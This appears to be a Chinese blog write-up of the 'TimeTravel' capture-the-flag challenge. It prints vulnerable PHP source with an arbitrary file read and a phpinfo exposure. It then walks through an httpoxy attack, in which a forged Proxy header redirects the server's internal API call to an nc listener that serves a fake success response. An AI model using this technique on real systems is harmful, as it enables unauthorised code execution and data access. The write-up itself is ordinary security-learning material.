[V&N2020 公开赛]TimeTravel

/ 0评 / 0

代码审计

<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Client;
highlight_file(__FILE__);
if(isset($_GET['flag'])) {
    $client = new Client();
    $response = $client->get('http://127.0.0.1:5000/api/eligible');
    $content = $response->getBody();
    $data = json_decode($content, TRUE);
    if($data['success'] === true) {
      echo system('/readflag');
    }
}
if(isset($_GET['file'])) {
    highlight_file($_GET['file']);
}
if(isset($_GET['phpinfo'])) {
    phpinfo();
}

打开即源码,审计后发现如果传入变量flag,且其读取到了127.0.0.1:5000/api/eligible下的文件,success返回true即可返回flag。
考点就是httppoxy这个东西,这个规则会将header中的proxy参数设置冲环境变量HTTP_PROXY

开一台内网服务器,建立一个response返回文本

HTTP/1.1 200 OK
Server: nginx/1.14.2 
Date: Fri, 06 Mar 2020 18:27:31 GMT
Content-Type: text/html;
charset=UTF-8 Connection:
Keep-alive Content-Length: 16 ​
{"success":true}

让其返回ture即可获得flag。监听端口并包含此文件
nc -lvp 8888 < b.txt
burp请求中包含proxy:ip:port即可
Proxy
在p3师傅博客中还发现了php返回json,本地复测没成功,可能是靶机没有php服务导致不能解析php文件。待定夺

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注